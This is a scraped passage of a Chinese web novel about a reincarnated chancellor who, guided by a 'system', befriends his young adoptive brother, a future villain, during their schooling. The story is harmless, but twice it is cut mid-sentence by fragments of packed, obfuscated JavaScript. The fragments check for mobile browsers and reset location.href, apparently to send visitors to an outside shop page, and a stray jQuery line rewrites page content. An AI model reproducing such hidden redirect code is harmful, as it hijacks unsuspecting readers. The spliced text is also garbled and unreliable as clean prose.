《我哥是大反派![穿书]》 1. 穿书 《我哥是大反派[穿书]》 又名《青史之下》 作者/风林外 明顺三十三年冬,腊月十五,大雪,江府。 府外是列队的整齐武官,各个严阵以待。 这样的积威从府外一直延伸到府内,绕过大门,仪门,到了大厅。 此时,正厅的门扉大敞,风雪灌入,在地砖上积了薄薄一层白。厅中燃着三盆炭火,却压不住从四面八方渗进来的寒气。 为首的都御史带着几个下属站在厅内,对着坐在大厅前方的江夜道:“首辅大人,圣上有令,要臣等亲眼看着您喝下这杯酒,这是圣上的恩赏,请您快喝了吧,不要为难我等。” 今日的江夜穿着家常的深紫深衣,没有戴冠,头发只用一根玉簪绾住。这样一身装扮,站在满堂肃杀中,显得格格不入。 面对这些人的质问,江夜面无表情,淡淡道:“毒酒就是毒酒,谈什么恩赏,你跟我多年,知道我最讨厌就是虚与委蛇。” 那都御史并不敢答话,只是恭敬地立着。但该完成的还是得完成,他挥手让下属将酒奉上。 江夜拿过杯酒,带着走到厅门口,望着门外的雪花飘飘。 想他江夜纵横朝堂十余年,也会有今天。他死有余辜,该死,但说他江夜对这江山,一点建树也无,他不服。 “明公,你怎么看?”他轻声地呢喃,问完,仰头将酒喝下。 毒酒下肚,没一会儿,江夜便缓慢地扶着门框跪了下来。 他倒下之后,江夜身后的所有人也跟着跪倒在地。雪从门外涌进来,落在他们的肩上、背上,很快就积了薄薄一层。 厅内只剩风雪声,以及,杯盏落地的脆响。 史书记载,明顺三十三年,一代奸臣江夜畏罪自尽于自己的府邸,享年不过三十三岁。 …… 同样只活了三十多年的还有,林直。 当然现在他的名字已经不叫林直,他现在的名字叫江寻。清河镇江秀才的独子。 当然,如果这只是一个简单的穿越故事就好了。 可惜,不是。 由于事情太过复杂,导致林直(江寻)花了点时间去消化吸收。 先说他的前世,他是大晟玉恒年间的人。 出生名门世家,年仅十五就登科致仕,被钦点为新科状元。之后五年,前往治理州县,民心所向,离县之日,百姓夹道相送,自发送万民伞者逾千人。二十岁那年,他自请戍边,率三千精兵,直捣敌后,大获全场。消息传到京师,举国轰动。二十五岁,外敌来犯,天子被俘,举国上下无一人敢挺身而出,是他调兵、筹粮以及肃清,攘外安内,救国于危难之际。 逼退外敌之后,天下人都知了他林直的名号。 他也顺利荣登丞相之位,那一年,他年仅三十岁。 但事情并没有那么一帆风顺—— 他深知国家动乱,源于制度之崩坏,人事之不为,便呕心沥血决定改革。 整整三年,他夙夜不停,没有一日停歇。 可惜他满腔热血,惨遭守旧党强烈反对。没两年,他这个丞相,被指能救国却不能安国,被迫远离朝堂。 被贬回去的路上,他遭遇百年难遇的大地震,驿舍塌了,人没出来。英年早逝,年仅三十二。 若说遗憾,他并没有。他这一生,对得起家人,对得起国家,对得起自己。 他只是,累了。 死了也好,死了也不用再面对这些是是非非。 没想到,他林直,还有重生的机会。 现在是明顺五年,所以大晟已经亡了,现在的国号为大朔。 江寻,也就是他自己,吃了晚饭,正准备上床睡觉。 他所住的江秀才家,也就是他爹家,是一个临水的二层小楼,每一层三个房间。二层是住人的,比如他的房间就在右侧;至于一层,则是灶房和仓房。 他准备上楼的时候,瞥了一眼仓房,看到脏乱差堆满柴火的房内摆了一张小床,床上坐了一个瘦弱的男孩子。 他在脑海中问系统,“就是他吧?这书的大反派——江夜?” 系统的声音显得比较激动,“宿主,你终于愿意接受我了?” 江寻仍是淡淡地,“我从没有说过,不接受你。我只是需要时间。何况,你也说了,三日内必须要有进度,否则我会再次死亡。” 也许是察觉到他的视线,坐在仓房里的大反派江夜回了头,瞥了他一眼。 两人目光对视了一下。 这眼神冰冷,幽怨以及冷酷,完全看不出这是个年仅六岁的孩子。 江夜看完又转了回去。 江寻耸耸肩,上了楼,一边上楼,一边问系统:“跟我说说他的事情吧,以及我的那个……救赎任务?” 系统声音雀跃,“那我从头说起了,宿主,你现在所处的其实是一个穿书世界。这本书的名字叫《青史之下》,是一本科举权谋文,一本书有主角、反派等。” “这些我知道,你说重点吧。” “好。这本书讲的是假少爷周述努力科举,打败真少爷江夜,成为一代首辅的故事。” 江寻皱眉,“什么真少爷假少爷?狸猫换太子?” “差不多可以说。多年前,周家当家主母的大丫鬟,勾引男主人不成,为了一私之利,将自己的儿子换成了当家主母的儿子。于是真少爷变成了假少爷,假少爷变成了真少爷。” 江寻点评,“这江夜就是真少爷了。” 系统:“是的。大丫鬟正是你现在父亲江昼的亲妹妹,名为江染竹。江染竹被主母赶出周家后,带着真少爷江夜回到哥哥身边,没多久就得病死了。” 江寻:“既如此,江夜又如何得知?” “这是一个极为聪明的孩子,他发现了江染竹写给哥哥的信。也许是临死之前的悔悟,她要求哥哥将江夜收为自己的孩子,抚养的银两由她来出。” “但江昼没这样做?” “也不能这样说。江秀才一家都是老实人,只是江寻——对,也就是你,以为江夜是父亲的私生子,生怕他抢走自己的一切,处处防备着江夜。儿子如此,江家夫妇也顺着儿子的心意。” 江寻:“………这种心情,我能理解。毕竟只是一个孩子啊。” 系统心中赞叹,不愧是名臣。它继续道:“总之,从小江夜就在被当陌生人的环境中长大。但虽然如此,江夜非常争气,他凭借了自己的努力考中了进士,改写了自己的命运。只不过,后来他认贼作父,学会两面三刀。挟君令臣,以臣代君,步步高升,在三十岁那年权倾朝野。” 江寻听后还颇为诧异,没想到这个江夜跟他的命运倒有几分相似,所不同的是这人是真正的权臣,越俎代庖,能极为熟练地玩弄权力;而自己却不太行,他只是阴差阳错登上丞相之位。 “然后呢。”他好奇地追问。 系统:“江夜权倾一时,毁誉参半,做了些好事,但也做了很多坏事。结果自然是被主角,江夜的弟弟周述联合其他人,打败了,最终横死在自己的府邸。” 江寻此时已经上了楼,进了自己的房间,正给自己洗脸。听到这里,他不免唏嘘,“倒是可惜这样一个人才了。” 系统:“是的。我正是为此而生,江夜这个人不该是这样的结局。救赎他的那个人就是你。” 江寻将巾帕挂在架上,爬到床榻上,给自己盖好被子,“怎么做呢?” 系统:“你可以从改善与他的关系做起,提升他对你的好感度。相信你们成为朋友后,救赎任务会更容易展开。按我们的话,就是多刷好感度。” “好感度?” “是的。好感度的意思是指他对你的信任度、友好度等。我们的目标就是降低他的黑化值,提升他对你的好感度。” 江寻:“说说我现在这个身份吧,感觉现在江夜一点也不喜欢我。” 系统:“确实是这样。你现在是江夜名义上的弟弟,他已经知道你不是他亲弟弟了。但你不知道。可以说,你与他,或者他与你,你们只是名义是兄弟,却根本不熟。你只是一个秀才的儿子,平日里沉默寡言,只知道认真读书,在人群中存在感极低。” 江寻听完,“……”真会形容。他又问,“我在书中的结局是什么?” 系统:“没活到十二岁,早夭。” 江寻:“……我不会也早夭吧?” “如果你能一直做任务的话,每增加一点好感度,就增加一年寿命。目前好感度为零,任务倒计时为一天。” 江寻:“还有一个疑问,为什么是我?” 系统:“这个问题得你自己慢慢去寻找了,江寻。” 江寻没有执着再问,“那好,我先睡了。” 系统有些着急,“你没有什么规划吗?想好怎么改善你和他的关系了吗?我能帮你参考参考。先小小预告一下,明日,江夜是一定会对付你的,他不会让你舒舒服服地开蒙的。” “为什么要对付我?我不是没做什么对不起他的事情吗?” 系统:“大反派嘛,小时的性格比较阴郁。何况说完全没有,也不是。你看你总是吃独食,还让他睡仓房。” 江寻心想,难道一起睡吗?一个小孩能有多大心胸啊。“他会怎么对付我?” “你权限不够,我无法透露太多剧情。” “噢。”江寻蒙上被子准备睡觉。 “宿主!!明天还没进度,你我都要完啦。” 江寻嘘了一声,“明日的事情明日再说,先睡觉。” 系统:“………” 啊!这宿主不是一代名臣吗,怎么感觉有点摆呢! …… 次日一早,江夜起床。 他睁开眼,穿戴好衣袍,洗刷完下了楼。一楼正堂的饭桌上已经摆了早食。 江夜端着碗稀粥坐在底下的石阶上,见到他来,只淡淡看了他一眼,就转过了头。江寻也没跟他打招呼,自顾自地坐在长凳上,准备吃饭。 从灶房忙好出来的张氏,也就是他的娘亲,见他这么早起床,还有些诧异。 “阿寻,你这么早就起来了。” 江寻嗯了声,“今日不是开蒙吗?孩儿早些起床。”其实是睡不习惯。 张氏满脸感动,“吾儿长大了!” “对了,爹呢。” “你爹说你的狼毫笔不知何故,怎么也找不到了。他急得不行,便又去翰墨斋给你买去了。” 找不到了?这就是让他无法开蒙的把戏吗?江寻不动声色,嗯了声,低头吃饭。 吃完,他站起身,“娘,我去楼上检查一下我的笔墨纸砚,先不吃啦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363401|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张氏看了桌上剩下的好几个热乎乎的白馒头,“这样就不吃了?” 江寻嗯了声,转身上楼。 他上楼后,听着底下娘亲给江夜拣了馒头,“阿寻不在,你快点吃。多吃点,瞧你瘦的。” 江寻回头看了一眼,他看江夜没拒绝,抓过馒头就吃了起来。其实江家夫妇不是坏人,只是疼惜儿子。只要儿子接受江夜,他们也无所谓多给江夜一口饭吃。 他拉过眼神,低头看了书房摆着的准备开蒙的东西。 前世他三岁就开蒙了,自然知道需要些什么东西。就算无法开蒙,他也无所谓。 读书对于现在的他来说,实在是一件可有可无的事情啊。 再下去的时候,江夜已经不在了,想来自顾自已经前往吴家私塾了。大反派江夜年纪虽小,但行事已经相对偏激了。 江寻一直等到父亲前来,父子两人才带着笔墨银财,也前往吴氏学堂。 前往学堂,先要穿过清河桥,到达文昌坊。离开文昌坊后,过北门走半里,就是西山脚下,学堂就在这里。 到后,他们见到了吴夫子,这是个精明能干的老夫子,据说还是清河镇唯一一个举人。只不过,夫子是看到了,却没有看到江夜。 他去哪里了? 此刻,系统忍不住叫唤,“宿主,这不太正常。” 江寻借机问:“怎么说?” “按照正常剧情,江夜应该已经出现在学堂里。” 江寻想了想,也觉得得看看,毕竟他再摆,也不能让他要救赎的对象死了啊。趁着父亲和夫子闲聊,江寻离开了学堂。 听从系统的指示,来到了松树林,就在距离学堂不远的地方。 他问:“江夜去那里做什么?” 系统支支吾吾,“你觉得呢,宿主。” 江寻笑了笑,没回答。 松树林不算大,很快他就看到自己的正前方有几个莫约七八岁的童子,这些童子对着一个土坑道:“这小子鬼鬼祟祟的,一定心中有鬼。我们就把他关在这里,让他作不了妖。” “这小子我知道,是江秀才不知道跟谁生的杂种,来历不明。在他们江家,都是当狗一样的。” “就是!私生子,狗杂种,要我说,该埋了才是。” 少年们的哄笑声渐行渐远,只留下寂静的风吹松枝的声音。 江寻也转身回去。 见他要走,系统也急坏了,“宿主,你现在赶紧救他出来啊。” 江寻:“我现在去,江夜会信?你不是说我俩都没说过一句话吗?” “那你也不能见死不救啊。事先说明,不做任务的话,如果江夜的黑化值走到百分之百,或者好感度降到负数,你我都会被抹杀。” “没说见死不救。”江寻道,“我找别人去救。” 他回到学堂,将事情告诉了父亲。 江秀才自是没有见死不救,忙去了松树林,救人去了。 江寻坐在那里,等着他们回来。 只等了一会儿,就看到江夜回来了。出乎意料的是,他并没有灰头土脸的,想必从土坑里出来,已经梳洗过一番。 江寻想,毕竟是极为聪明之人,行事相对比较早熟。 就这样闹了一小场,总算是能正式开蒙了。 开蒙第一步就要正衣冠,当着孔夫子的面,所谓“先正衣冠,后明事理。”正完衣冠,就是盥洗净手,净手即净心,洗掉杂念,比喻一心向学。 江寻毕竟已经很久没做这些事了,重新做一次也觉得新鲜。 他仔细地净手,正洗得认真,突然察觉到一个视线。 自打穿越以来,他跟江夜还没说过半句话,两人是谁也不理谁。 但眼神倒是对视过好几次。 所以,他瞅啥? 当然,江夜只瞥了一眼,便拉回了视线,也低头净手。 两人正准备拜先师的时候,即先拜孔子像,再拜吴夫子的时候,只听前面学堂传来惨叫声。 “啊!!!有蛇有蛇有蛇。” “救命啊,救命啊!蛇啊。” 这些惨叫让吴夫子和江秀才都站了起来,忙往前堂去。江寻也好奇,跟着前往。 到了前堂,就看为数不多的十来个学生,有的跳到了桌子上,有的跑到了外面,有的胆子大一些,拿着板凳准备“杀蛇取胆”。 孩子如此,地上更是血腥,就看地上散落着几条青绿色的小蛇,足有十多条,蛇头是圆形,想来是无毒的。但毕竟是蛇,实在是够瘆人的。 总之,好好的学堂鸡飞狗跳的,就跟杀猪现场似的。 吴夫子气急败坏地上前,大声斥责,“谁抓的蛇,到底是谁? “啊!别让我抓到他,让我抓到他就完了。听到没!” 江寻突然明白江夜去松树林干什么了。 为了验证这个想法,他瞥了江夜一眼,见他冷峻的脸上,嘴角展露丝丝笑意。这个人似乎非常容易捕捉他人的视线,他适时地回头,与他对视,满不在乎地挑了一下眉,再漫不经心地转了回去。 仿佛这一切,都与他无关。 江寻没有再看,问系统:“原本江夜要拿蛇吓我是不是?” 系统:“你猜到了,宿主。但他——” 江寻替系统补上,“——但他改变了主意。” 2. 和好 所以江夜为什么会改变主意呢? 江寻耸耸肩,原因不重要,结果比较重要吧。他回到后堂,坐在那里等着吴夫子处理蛇围攻学生事件,想来一时半会,也开不了蒙了。 他便顺便看看这个朝代要读的书,跟他那个朝代有没有什么不同吧。 …… 江寻在等,江夜也在等,且都颇为悠然自得。 但江夜的悠然,源于他知道自己是重生的。 而江寻——他的好弟弟,他为什么也能这么悠然? 江夜有些好奇,看向坐在椅子上翻看书籍的江寻,不知为什么,他觉得这个假弟弟好像有些不一样了。 三件事,可以证明这个: 第一件,今早这家伙居然没全部吃完或浪费完,要知道,要是平日,就算他吃不完,他也不会剩下东西给自己,几乎没有一次例外。 这就是个故意恶心人的混小孩。 第二件,他重生归来时,江寻的笔墨纸砚已经坏了一部分,这是未重生的自己弄坏的,且他可以保证江寻已经知道了,但他竟然没发火,表现得不甚在意。 第三件,就是他让他的父亲来救自己。这是江秀才告诉他的。在江秀才拉他出来的时候,顺口说了一句,“我儿子说你在这。”江寻应该没打算告诉他是他救了他这件事。 江夜沉思了江寻的变化,难道说他也重生了? 总之,看在他帮自己一把的份上,自己这次可以先放他一马。这一次,他本来是打算将蛇放在孔子像上吓唬他的。前世是没出什么事情的,今生居然碰上了张迅疾等人,被他们推下了土坑。当然,这个账,他会连同前世,连本带利跟张迅疾等人慢慢算的。 他这样想着,转头又看了江寻一眼。 如果真的是重生,这家伙应该会认真读书才是,因为还记得这个弟弟小时候读书就很认真,属于勤奋刻苦型的。 但他万万没想到,江寻居然睡着了。 就靠在椅子上,姿态颇雅。头枕着胳膊,手指自然垂落,袖口微微滑下,露出一截干净的手腕。窗外的光落在他稚嫩的脸上,眉眼舒展,呼吸匀长,像是已经睡了很久。 ——跟以前的江寻完全不一样。 还记得临死前,他的术士跟他说,如果他真的得以重生,事情可能会产生蝴蝶效应。 他当时还问,什么是蝴蝶效应。术士说:“你身边的人可能会改变性子。比如你最讨厌的人也许会成为你最最好的朋友,与你并肩作战。” 江夜沉思地想,难道这个人就是江寻?当然最关键是,他怎么睡着了。这不是刚起床吗? 这也太懒散了吧!! …… 江寻没注意到江夜一直在观察他,他睡觉的话,当然是困了。 尤其是在看到现在要读的书跟两百年如出一辙,甚至其中一本书还是他参与编写的。加上穿来后都睡得不好,他睡着了也很正常吧。 睡醒后,他整理了衣冠,察觉到江夜的视线,他回头看了一眼,以眼神询问,刚才发生什么了。 江夜满脸无奈,睡了足足一个时辰,不动声色,旁若无人。他到底是怎么做到的。 不过他没打算与他说话,转过头去了。 这人能与他并肩作战?他还是一个人孤独地踏上征程吧。 两人没等太久,终于终于,吴夫子和江秀才从堂外进来。两个大人处理完这蛇事情,估计也是累得够呛。 吴夫子更是摆手,“今日就先不拜师了,你们先回去吧。” 江寻听后,啊?不是说好今日吗?他都等那么久了。 他想也不想,喊了声,“夫子。” 没想到跟他一起喊的还有江夜。 两人同时喊了声夫子。 这样喊后,两人又异口同声,“可我们等很久了。” 江寻决定闭嘴,让江夜说。 江夜有理有据,“外面有蛇跟我们又无关,为什么要推延我们的开蒙时间?错过今日,下次又有事,难道我们便一辈子不开蒙了?” 江寻听后,深以为然,不愧是大反派,说话很有条理。 吴夫子显得不耐烦,没好气地说:“你是夫子还是我是夫子?我说今日先不开蒙就先不开蒙。今日私塾发生了这么多事,我哪里有什么心情替你们启智。” 一旁的江秀才见夫子发火,生怕夫子以后不好好教他的儿子,忙道:“那就改日改日,今日就先不叨扰夫子了。”说着就要去拽江寻的衣袖,带着他准备离开。 吴夫子冷哼一声,表示送客了。 江寻倒也不在乎是不是今日开蒙,而是觉得夫子有点无理取闹。做夫子的这点信用都没用,明明是说好的事情。而且不管怎样,他们已经得罪夫子了。何必为了点情面,委曲求全? 他忍不住道:“倒也不需要夫子您开智,您让我们写个字,就当破蒙吧。” 江夜附和:“是,让我们破蒙就行。” 吴夫子冷笑:“没有我指导,你们能写什么大字?” 江寻漫不经心:“弟子想早些开蒙,早点开始学习,希望夫子多理解弟子的一片向学之心。” 吴夫子被逼着没法,冷声道:“你们跟我来。” 江寻跟上,江夜停顿一下也跟上。至于江秀才,抖抖索索也跟上了。他也好奇,没有夫子的指导,这两个小孩真的能自己写字吗? 他们只有五、六岁啊。 到了前堂,此时这里的学子们正低头打扫着卫生,那些蛇则被放在了学堂外的笼子里。 学子们看到夫子带着江氏兄弟前来,也都往这边看。 直到他们看到夫子给两人拿了两张宣纸,铺在桌子上,对他们说,“你们要开蒙,好,自己拿毛笔,给我写两个礼字。” 学子们不由窃窃私语,怎么,开蒙不应该是写“人”字吗?怎么是“礼”字? 当然,只有江寻知道,这是吴夫子在跟他们示威呢,要求他们必须尊师重道。可礼字,何其难写。这个老夫子何必两个小孩子呢。 他正思考要不要写,那边的江夜已经拿起毛笔,提笔,悬腕,落纸,洋洋洒洒在宣纸上写了个“礼”。 握笔的力度控制地极好——橫是橫的力道,撇是撇的弧度,转折处都不见丝毫凝滞。 他不由地心中赞服。 与他一样态度的还有其他人的态度,无一不瞠目结舌。这不像是一个六岁孩童写出来的东西,倒像是十岁,不,是三十六。 锋芒毕露,笔舞龙蛇——这字是真好。可就是太好了。 吴夫子惊讶地问:“你练过字?” 江夜冷声道:“怎么,不行吗?难道我六岁开蒙,就一定六岁开始练字?”言语颇多不敬,但江夜不在乎。何必收敛,又何必隐藏,大不了就是再死一次而已。他江夜早已经死过一次了。 吴夫子哑口无言,就是他来写,都不一定写得那么好。 这一巴掌,他被打得心服口服。他沉默不语,又看向一旁站着的江寻,这总不是个隐藏高手了吧。 “江寻,到你了。” 吴夫子话音刚落,所有人的目光便聚焦在江寻身上。 江寻叹了口气,他可没江夜那么争强好胜,可让他不写,这又是不行。 他的目标是,写出这个字,在夫子那边过个关,同时,让大家相信这就是他的真实水平。神童什么的,他觉得,还是算了。前世的经历告诉自己,做神童可是一件非常累人的事情啊。 他拿起笔,深吸一口气,当着所有人的面,写了一个规规矩矩的“礼”。 前面倒是还好,他能完全控制自己的笔,把这个礼写得像一个五岁孩童写的。 到了“礼”字的右面,是“豊”字。 难写,又不难写。 他非常希望写得差一点,但说实话,这很难。 前世,他写过不知道多少个“礼”。比如呈给皇帝的奏章,比如给同僚的书信,到处都有礼。他可以五六种字体写“礼”,写好字已经刻入了本能。 要装,也是蛮难的。 写完后,他战战兢兢地看着自己写的“礼”字,这应该像五岁孩童写的吧。 没想到,写完后,周遭人的反应,又是沉默了。尤其是看到父亲的表情,颇为激动。 江夜的表情古怪,其他围观的弟子们叹服,江秀才的表情颇为激动。 吴夫子则道:“非常工整。” 江寻:“……??” 吴夫子继续对底下的弟子道:“一副好字就当如此,笔韵出天然,笔力和骨力都已经在笔锋里。这字可比某人刻意为之的华丽要好得多了。” 江寻:“…………”他横看竖看都觉得这是他最差的字了啊。 他看向江夜,自己超过他,这人一定生气了吧。没想到,这人也没什么表情,完全事不关己。 吴夫子道:“既然你们破蒙,仪式就算完成了。我帮你们再启智吧。” 江夜淡淡道:“不必了。” 一旁的江秀才:“夫子既然这样说——” 江寻接:“夫子今日已经帮我们破蒙,我们已经感激不尽,哪里还敢叨扰夫子。启智就不必了。” 吴夫子满脸尴尬,“既如此,你们在家先进行诗三百的学习,明日就来学堂上学吧。” 江秀才忙应声答是。 就这样千辛万苦的,他们终于顺利启蒙了。 回去前,吴夫子将江秀才叫过去了,江寻隐隐有不好的预感。 果然等父亲出来后,便对他说:“今日开始,你和江夜都要描红练大字,还是得从头开始练起。” 他抬头问:“为什么呢,爹。” 江秀才说:“你们夫子说,年纪太小就把字体风格定死,往后不好改。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江寻是很认真在吃,他前世家里的规矩非常严,这种普通的糕点几乎是不可能看到的。这糕饼酥软甜糯,也不腻,还是红豆味的。 他吃得专注,然后听到江夜说:“还挺好吃的。” 江寻有些诧异,不是,他是在对他说话吗?对他?他以为两人会一直冷战下去呢。 见他看他,江夜还是面不改色,又道:“怎么,你不觉得很好吃吗?我看你吃得很香。” 江寻点头,“是很好吃啊。” 江夜咳了一声,“我也吃不完,另外一个给你吧。”他说着把手里的另外一块糕饼递给他。 江寻:“……谢谢。” 江夜颔首,然后道:“对了,字不错。” 江寻一向与人为善,他既然要与他和好,他又何必与他交恶,他微微笑,“你也是哦。” 两个小孩在街上相视一笑,也算是“一笑泯恩仇”了。 …… 回家后,江寻就跟归巢的雀鸟,只想躺着好好休息。安安静静地吃了晚饭之后,就跟娘亲说自己上楼了。 他一上楼,系统又在那催促,“宿主,咱们好不容易有点一点点进展,要不要趁热打铁。” “打铁?什么铁。” “是江夜啊,还有今日吃饭,你也没让他上桌一起吃。” 江寻想起刚才—— 是,两人是说了话了。但回到家就跟自动回到初始状态。他的好哥哥还是端着饭坐在台阶上吃,背影孤单。两人也没有再说一句话。 “凡事不可急嘛,我就问你好感度有没有降?” 系统:“……宿主啊。”没见过这么摆烂的宿主,其他人都是拼了命地刷积分的啊。 “好好,但我不习惯跟人睡。” “可是——” “可是仓房的环境又实在……一言难尽。其实也不知是不是我的错觉,我认为江夜可能会离开这个家。既然如此……”他来到自己的房间,看到那张大床,“先分他一半吧。” “宿主万岁!” 还是如往常一样,他没有直接去找江夜,而是去找了娘亲,说出自己的想法。 他的娘正在灶房整理厨具呢。 “娘,让江夜跟我一起睡吧。反正我的床也大。” 张氏回头,就这两天,他也能明显地感受出儿子对江夜的不同。难道说是因为要读书了,长进了?“你确定?” 江寻点头,“那仓房阴冷潮湿,确实睡不了人。娘先去问问他,看他愿意不愿意吧。” 极可能会被拒绝。 张氏颔首,“那我就去问问。” 张氏擦了擦掩襟,转身去了仓房。 娘亲走后,江寻此时饿了,正在寻找白日买的糕饼。找到后,他塞了一个放在嘴里。吃得又贪心,将那糕饼全塞到嘴里了。 刚在吃着,就看到灶房外有脚步声,他适时地抬起头,就看到江夜抱着个被子站在门口盯着自己,目光幽深,眼珠漆黑,看人的时候一点不眨,像是能望到人的心里去。 3. 抄书 江寻:“…………”他忙将糕点吞咽下去,颇为尴尬地回望。 身后的张氏走过来,手搭着江夜瘦弱的肩,笑道:“你们说好了就好,以后就一起。兄弟俩可要相亲相爱才好。时辰不早了,上去睡觉吧。” 两人在张氏的催促下上了楼。 房内,江寻回头问:“你习惯睡外面还是里面。” 江夜:“外面吧。” 江寻颔首,“被子还是分开,睡得舒服一些。” “好。” 也许是刚在一起吧,气氛还有些尴尬。 熄了灯后,两人也没再说话。 屋外的清河潺潺,笼罩着这一片寂静的夜。 —— 在江寻看来,比起跟江夜相处,让他重读一遍蒙童书反倒更折磨人。 《三字经》《百家姓》等,他早已经滚瓜烂熟。 他唯一庆幸的是,因为他们都还小,每日蒙学的时间大概是一个时辰到两个时辰。这意味着,过了午时,便是温学时间,也就是回家温习。 这让江寻不得不感叹一句,当小孩子真好啊。 次日,他和江夜便被父亲江秀才带着,前往吴氏学堂。 其他弟子陆陆续续地也来了。学堂里加上他们,有十几个人,年龄各不相同,但基本差不了太多。他目前只认识一个,那就是昨日带头欺负江夜的张家小少爷,张迅疾。 据系统所说,这个人物是前期欺负江夜的主角之一。嗯,是的,自己甚至算不上主角,顶多算个小跟班。 刚开蒙,所要学的东西不多,基本一天十来个字,老师一对一地教学生读完,读完回座位自己背,什么时候会背了,什么时候就可以回去。 进度全部掌控在学生那里。 一对一还有一个好处,是可以根据每一个学生的情况进行因材施教。 先轮到的江夜,江寻在下面看,心中想着他肯定没问题。果然,他看到他们直接跳过了《三字经》,在背《百家姓》了。 见他不是个神童,江夜能看出吴夫子的表情还颇为嘲讽,仿佛说在昨日不是很蛮横,今日也只会背到《百家姓》而已。 只不过江夜没什么表情,背完就下去了。 江夜之后,就是他了。 江寻打从心底,下定决心要隐藏实力,只打算磕磕绊绊地背完《三字经》。 他是这样想的,背不完应该不至于吧。还会有人不会背《三字经》吗?但背得太熟练,又不符合他现在的水平。 没想到,背完后,吴夫子沉默着地挥挥手,让他下去了。 他下去后,一旁的胖小孩悄悄问他:“你好厉害啊,五岁就能背《三字经》了!” 江寻震惊脸,“难道还有人不会背这个吗?” 胖小孩数着手指,“我六岁开蒙,花了三个月才认识了八十个字,背完都整整花了六个月呢。” 江寻:“…………”他默然良久,介绍自己,“江寻。” 胖小孩:“沈德福。” “幸会幸会,对了,有空交流交流。” 沈德福:“好啊,乐意之至!” 江寻觉得,自己应该好好学习如何当一个普通小孩了。 这一早上,就在背书中快速地流过去了。江寻初体验了一下,也不太难熬。且吴氏学堂有一点非常人性化,那就是只要完成夫子完成的任务,就能早点回家。 所以理所当然,江夜第一个就走了。 江寻也没指望他能等自己。他慢悠悠地熬到了跟沈德福他们一起,一起下了学。他询问了沈德福的学习进程,总算明白了普通小孩的情况。 一边了解,一边感叹着,他并无一点瞧不起沈德福的意思,完全是抱着学习的态度。以及对于沈德福的“倾囊相授”,江寻在心中表示感激不尽。 和沈德福告别后,他的父亲也来了。 跟着父亲回到家,江夜已经在了,他正坐在院里的书桌前开始描写大字。 因为有父亲监督,他们两人被迫从头开始,学写基础的横竖撇捺等,纠正执笔姿势,并学习磨墨。 好在,江秀才也无法一直监督他们,他午后还要去隔壁镇里的学堂当夫子上课,便先走了。 他走后,兄弟俩才得以放松。 但也许是共“患难”,两人的话又多了一些。 江夜道:“这也太折磨人了,都会写了,这老头还让我们重新描写。” 江寻确实也吃了点苦:“哎,就是啊。” 江夜:“我想了个办法,你要不要参与?” 江寻放下毛笔,“请讲。” 江夜:“花点银子,叫人代写。那老头只让我们回家写,又没说找谁写。” 江寻刚穿越,还是个小孩,爹娘也没给他银子。加上穿越以来,他摆来摆去的,自然也没去弄银子。问:“你有银子了?” “暂时还没有,很快就会有。” 江寻:“…………”不愧是主角,“那赚银子,能带我一份么?” 江夜回头看他,见他纯粹是以朋友的口吻,心念一动,“当然,只是我需要一点起始银两。” 江寻:“………”主角也需要贵人相助,他就是那个贵人了。“多少啊?” “一两银子。” 一两并不是一个小数目,至少现在江秀才一家的收入也就三十两不到的样子。他若是跟娘亲张氏要一两银子,张氏会怀疑他是不是去赌博了;如果不跟家里人要,这笔银子想要靠他们自己去赚,实在难之又难。他们的年纪太小,个子都没摊位高。 想了想,江寻还是决定采用最保守的法子,“你会抄书吗?上次看你字不错。” 江夜:“……这要抄多少。” 江寻做丞相的脑子发作,却觉得抄书是最保守且最不容易被人发现的法子,其他的要么条件不够,要么太过张扬,容易招惹是非。 他给江夜分析道:“抄书的活比较稳定,书坊都有需要。每页按3文来算,每日10页,一天可得30文,一个月能得900文,正好差不多是一两。” 江夜:“………”脑子很灵活,“但我们不是要让别人替我们抄书吗?” “可你不是说需要一两当起始银子吗?” 江夜被说服了。 重生后,关于该如何赚到这第一笔银两,他也在思考。只要给他第一笔,后面的银子自然而然就会有了。后续不管是炒盐引,还是囤积仓房,或者投资商船,没有第一笔,都将寸步难行。 关键是这第一笔,该如何得到。 这估计就算两人的约定了。 两人说做就做,先是跟江秀才说两人要一同上学,并不需要他接送。接着就在次日放学后,前往清河镇上的唯一书坊——翰墨斋。 店主是个瘦削的中年人,姓冷,带着一副水晶眼镜,书生气颇浓。 因为清河镇非常之小,所以这店主也认识他们的父亲。 听到他们的来意,也看了他们的字后,冷老板道:“你们想抄,当然可以。首先声明,你们毕竟是新手,每页只给三文,最多就没有了。押金本来是一百文,看在你们父亲的面子上,我收你们五十文。注意,底本丢了,你们的押金不仅没了,还要再多付五十文。两位,意向如何啊?” 江夜:“没有问题。”他说完看向江寻。 江寻笑道:“我也没有——不过,我们身上没银子,押金付不出来。” 冷老板道:“那没有押金不行。” 江夜目光深沉,“我们可以就在你的店里抄。” 江寻点头,“正是,就在你店里抄。” 普通书坊都是有驻店抄手,书坊会管一顿午饭。但工钱会比领走底本更低一文,大概是一页纸才两文钱。 底本不拿出去,店主求之不得,也就允许两人留在坊里抄书。 兄弟俩拿了底本,又拿了白纸,就到了一旁开始做事。 江夜抄了没多久,心中就有些不耐。这样抄又要抄到什么时候?可让他仔细地再想,却想不到更好更妥帖的办法来。 他瞥了一眼一旁抄得认真的江寻,不由也继续了。 江寻是这样想的,关于事情,自然是能不做就不做得好。但他也深知,没有银子很多时候都是寸步难行的。所以就算是没有江夜,他也是得想办法赚点银子。现在主角愿意带着他一起,他自然 